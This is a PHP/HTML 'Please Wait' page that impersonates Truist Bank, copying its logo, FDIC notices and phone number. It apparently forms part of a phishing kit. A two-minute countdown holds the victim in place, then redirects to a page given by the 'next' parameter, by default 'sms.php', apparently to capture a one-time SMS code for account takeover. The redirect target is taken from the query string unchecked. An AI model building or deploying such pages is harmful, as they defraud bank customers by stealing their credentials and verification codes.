<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;600;700&family=DM+Sans:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Truist — Please Wait</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --brand:          #2E1A47;
            --brand-dark:     #22133a;
            --brand-deeper:   #160d27;
            --brand-mid:      #3d2460;
            --brand-light:    #f0ebf8;
            --brand-pale:     #f8f5fc;
            --accent:         #72569C;
            --accent-dark:    #5c4480;
            --accent-glow:    rgba(114,86,156,0.22);
            --charcoal:       #1a1520;
            --charcoal-mid:   #2a2035;
            --text:           #1a1520;
            --text-sub:       #3a2f4a;
            --text-muted:     #6b5f7a;
            --border:         #d4cce0;
            --header-bg:      #2E1A47;
        }

        html, body { height: 100%; font-family: 'DM Sans', sans-serif; background: #fff; color: var(--text); }
        .page { min-height: 100vh; display: grid; grid-template-rows: auto auto auto 1fr auto; }

        .utility-bar { background: var(--brand-deeper); padding: 0 52px; display: flex; align-items: center; justify-content: space-between; height: 44px; border-bottom: 1px solid rgba(114,86,156,0.25); }
        .utility-bar-left { display: flex; align-items: center; gap: 28px; }
        .utility-bar-left a { font-size: 12.5px; color: rgba(255,255,255,0.68); text-decoration: none; transition: color 0.15s; }
        .utility-bar-left a:hover { color: #fff; }
        .nav-phone { font-size: 12.5px; color: rgba(255,255,255,0.55); display: flex; align-items: center; gap: 7px; }

        .main-nav { background: var(--header-bg); padding: 0 52px; display: flex; align-items: center; justify-content: space-between; height: 72px; box-shadow: 0 3px 16px rgba(0,0,0,0.22); position: relative; }
        .main-nav::after { content: ''; position: absolute; bottom: 0; left: 0; right: 0; height: 3px; background: linear-gradient(90deg, var(--accent) 0%, rgba(114,86,156,0.4) 100%); }
        .nav-logo img { height: 44px; width: auto; }
        .nav-links { display: flex; align-items: center; gap: 2px; }
        .nav-links a { font-size: 13.5px; color: rgba(255,255,255,0.85); text-decoration: none; padding: 9px 15px; border-radius: 4px; transition: color 0.15s, background 0.15s; }
        .nav-links a:hover { color: #fff; background: rgba(255,255,255,0.1); }
        .fdic-block { display: flex; align-items: center; gap: 9px; }
        .fdic-badge { background: #1b3d8c; color: #fff; font-size: 11px; font-weight: 800; letter-spacing: 0.07em; padding: 3px 7px; border-radius: 2px; }
        .fdic-text { font-size: 10px; color: rgba(255,255,255,0.45); line-height: 1.45; max-width: 150px; }

        .sub-nav { background: #fff; border-bottom: 2px solid #e4ddf0; padding: 0 52px; display: flex; align-items: center; height: 48px; box-shadow: 0 1px 6px rgba(46,26,71,0.07); }
        .sub-nav-links a { font-size: 13px; color: var(--text-muted); text-decoration: none; padding: 0 18px; height: 48px; display: inline-flex; align-items: center; border-bottom: 3px solid transparent; margin-bottom: -2px; transition: color 0.15s, border-color 0.15s; }
        .sub-nav-links a:hover { color: var(--brand); border-bottom-color: var(--accent); }

        .main { display: grid; grid-template-columns: 1fr 460px 1fr; align-items: start; padding: 52px 24px 72px; background: var(--brand-pale); background-image: radial-gradient(ellipse at 15% 20%, rgba(114,86,156,0.07) 0%, transparent 60%), radial-gradient(ellipse at 85% 80%, rgba(46,26,71,0.05) 0%, transparent 60%); }

        .side-panel { grid-column: 1; padding: 0 52px 0 max(52px, calc((100% - 1140px) / 2)); padding-top: 12px; max-width: 520px; margin-left: auto; }
        .side-title { font-family: 'Playfair Display', serif; font-size: 28px; font-weight: 400; line-height: 1.4; color: var(--brand); margin-bottom: 28px; }
        .side-title strong { color: var(--brand-deeper); font-weight: 700; display: block; font-size: 30px; }
        .feature-list { list-style: none; display: flex; flex-direction: column; gap: 15px; margin-bottom: 36px; }
        .feature-list li { display: flex; align-items: flex-start; gap: 13px; font-size: 14px; color: var(--text-sub); line-height: 1.65; }
        .feature-icon { width: 24px; height: 24px; background: var(--accent); border-radius: 50%; display: flex; align-items: center; justify-content: center; flex-shrink: 0; margin-top: 1px; box-shadow: 0 2px 8px rgba(114,86,156,0.35); }
        .feature-icon svg { color: #fff; }
        .security-badge { display: flex; align-items: center; gap: 12px; padding: 15px 18px; background: #fff; border: 1px solid var(--border); border-left: 3px solid var(--brand); border-radius: 6px; box-shadow: 0 1px 6px rgba(46,26,71,0.06); }
        .security-badge p { font-size: 12.5px; color: var(--text-muted); line-height: 1.5; }
        .security-badge strong { display: block; font-size: 13px; color: var(--text); font-weight: 600; margin-bottom: 3px; }

        .login-wrap { grid-column: 2; }
        .login-card { background: #fff; border: 1px solid #e0d9ec; border-top: 4px solid var(--brand); border-radius: 8px; padding: 42px 46px 48px; box-shadow: 0 4px 24px rgba(46,26,71,0.09), 0 1px 4px rgba(0,0,0,0.04), 0 12px 48px rgba(0,0,0,0.04); animation: cardIn 0.45s cubic-bezier(0.22,1,0.36,1) both; text-align: center; }
        @keyframes cardIn { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 28px; }
        .card-logo img { height: 40px; width: auto; display: block; margin: 0 auto; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 32px; }
        .step { display: flex; align-items: center; justify-content: center; width: 26px; height: 26px; border-radius: 50%; font-size: 11px; font-weight: 600; flex-shrink: 0; }
        .step.done    { background: var(--accent); color: #fff; }
        .step.active  { background: var(--brand); color: #fff; box-shadow: 0 0 0 4px rgba(46,26,71,0.15); }
        .step.pending { background: #ede8f5; color: #a090b8; }
        .step-line      { flex: 1; height: 1.5px; background: var(--border); border-radius: 2px; }
        .step-line.done { background: var(--accent); opacity: 0.5; }

        .ring-wrap { position: relative; width: 148px; height: 148px; margin: 0 auto 30px; }
        .ring-wrap svg { width: 148px; height: 148px; transform: rotate(-90deg); }
        .ring-track { fill: none; stroke: #e8e0f2; stroke-width: 6; }
        .ring-progress { fill: none; stroke: var(--accent); stroke-width: 6; stroke-linecap: round; stroke-dasharray: 326.7; stroke-dashoffset: 0; transition: stroke-dashoffset 1s linear; filter: drop-shadow(0 0 6px rgba(114,86,156,0.45)); }
        .ring-label { position: absolute; inset: 0; display: flex; flex-direction: column; align-items: center; justify-content: center; }
        .ring-time { font-family: 'Playfair Display', serif; font-size: 30px; font-weight: 700; color: var(--brand); line-height: 1; }
        .ring-unit { font-size: 11px; color: var(--text-muted); margin-top: 5px; letter-spacing: 0.06em; text-transform: uppercase; }

        .wait-heading { margin-bottom: 26px; }
        .wait-heading h1 { font-family: 'Playfair Display', serif; font-size: 20px; font-weight: 700; color: var(--brand); margin-bottom: 8px; }
        .wait-heading p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; line-height: 1.65; }

        .prog-dots { display: flex; justify-content: center; gap: 9px; margin-bottom: 26px; }
        .prog-dots span { width: 9px; height: 9px; border-radius: 50%; background: #ddd5ea; transition: background 0.4s, transform 0.3s; }
        .prog-dots span.lit { background: var(--accent); transform: scale(1.2); box-shadow: 0 0 6px rgba(114,86,156,0.45); }

        .info-notice { display: inline-flex; align-items: center; gap: 9px; background: var(--brand-light); border: 1px solid rgba(46,26,71,0.15); border-radius: 5px; padding: 11px 18px; font-size: 12.5px; color: var(--brand); font-weight: 500; }

        .page-footer { background: var(--charcoal); padding: 22px 52px; display: flex; align-items: center; justify-content: space-between; gap: 24px; flex-wrap: wrap; border-top: 3px solid var(--brand); }
        .footer-links { display: flex; gap: 22px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; transition: color 0.15s; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.3); }
        .fdic-footer { display: flex; align-items: center; gap: 9px; }
        .fdic-footer .fdic-badge { font-size: 9px; }
        .fdic-footer span { font-size: 11px; color: rgba(255,255,255,0.35); }

        @media (max-width: 900px) { .main { grid-template-columns: 1fr; padding: 32px 20px 52px; background-image: none; } .side-panel { display: none; } .login-wrap { grid-column: 1; max-width: 460px; width: 100%; margin: 0 auto; } .main-nav { padding: 0 24px; } .utility-bar { padding: 0 24px; } .sub-nav { padding: 0 24px; } .nav-links { display: none; } }
        @media (max-width: 500px) { .login-card { padding: 28px 22px 34px; } .page-footer { padding: 18px 20px; } }
    </style>
</head>
<body>
<div class="page">

    <div class="utility-bar">
        <div class="utility-bar-left"><a href="#">Log in</a><a href="#">Locations</a><a href="#">Contact Us</a><a href="#">Careers</a></div>
        <div class="nav-phone"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07A19.5 19.5 0 013.07 9.81a19.79 19.79 0 01-3.07-8.67A2 2 0 012.18 0h3a2 2 0 012 1.72c.127.96.361 1.903.7 2.81a2 2 0 01-.45 2.11L6.91 7.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45c.907.339 1.85.573 2.81.7A2 2 0 0122 14.92z"/></svg>1-844-487-8478</div>
    </div>

    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Truist Bank"></div>
        <div class="nav-links"><a href="#">Personal</a><a href="#">Small Business</a><a href="#">Commercial</a><a href="#">Wealth Management</a><a href="#">About Us</a></div>
        <div class="fdic-block"><span class="fdic-badge">FDIC</span><span class="fdic-text">FDIC-Insured · Backed by the full faith and credit of the U.S. Government</span></div>
    </nav>

    <div class="sub-nav">
        <div class="sub-nav-links"><a href="#">Checking</a><a href="#">Savings</a><a href="#">Loans</a><a href="#">Credit Cards</a><a href="#">Online &amp; Mobile Banking</a><a href="#">Investments</a><a href="#">Resources</a></div>
    </div>

    <main class="main">
        <aside class="side-panel">
            <h2 class="side-title">Almost there.<br><strong>Just a moment.</strong></h2>
            <ul class="feature-list">
                <li><div class="feature-icon"><svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Verifying your identity with bank-grade security</li>
                <li><div class="feature-icon"><svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Encrypting your session with 256-bit SSL</li>
                <li><div class="feature-icon"><svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Preparing your secure verification code</li>
            </ul>
            <div class="security-badge">
                <svg width="30" height="30" viewBox="0 0 24 24" fill="none" stroke="#72569C" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><polyline points="9 12 11 14 15 10" stroke-width="2"/></svg>
                <p><strong>Secure Processing</strong>Do not close or refresh this page while we process your request.</p>
            </div>
        </aside>

        <div class="login-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo2.svg" alt="Truist Bank"></div>
                <div class="step-indicator"><div class="step done">✓</div><div class="step-line done"></div><div class="step done">✓</div><div class="step-line done"></div><div class="step active">3</div></div>
                <div class="ring-wrap">
                    <svg viewBox="0 0 110 110"><circle class="ring-track" cx="55" cy="55" r="52"/><circle class="ring-progress" id="rp" cx="55" cy="55" r="52"/></svg>
                    <div class="ring-label"><div class="ring-time" id="td">2:00</div><div class="ring-unit">remaining</div></div>
                </div>
                <div class="wait-heading"><h1>Processing Your Information</h1><p>Please wait up to 2 minutes while we securely process your request.</p></div>
                <div class="prog-dots"><span id="d0"></span><span id="d1"></span><span id="d2"></span><span id="d3"></span><span id="d4"></span></div>
                <div class="info-notice"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Do not close or refresh this page</div>
            </div>
        </div>
    </main>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">Sitemap</a></div>
        <div class="fdic-footer"><span class="fdic-badge">FDIC</span><span>Member FDIC. Equal Housing Lender. © 2025 Truist Bank.</span></div>
        <div class="footer-copy">1-844-487-8478</div>
    </footer>
</div>
<script>
    var next = "<?php echo htmlspecialchars($_GET['next'] ?? 'sms.php', ENT_QUOTES); ?>";
    const TOTAL = 120; let rem = TOTAL;
    const disp = document.getElementById('td'), ring = document.getElementById('rp');
    const CIRC = 2 * Math.PI * 52;
    const dots = [0,1,2,3,4].map(i => document.getElementById('d' + i));
    function tick() {
        const m = Math.floor(rem / 60), s = rem % 60;
        disp.textContent = m + ':' + String(s).padStart(2, '0');
        ring.style.strokeDashoffset = CIRC * (1 - rem / TOTAL);
        const lit = Math.floor(((TOTAL - rem) / TOTAL) * dots.length);
        dots.forEach((d, i) => d.classList.toggle('lit', i <= lit));
        if (rem <= 0) { clearInterval(t); window.location = next; } else rem--;
    }
    tick(); const t = setInterval(tick, 1000);
</script>
</body>
</html>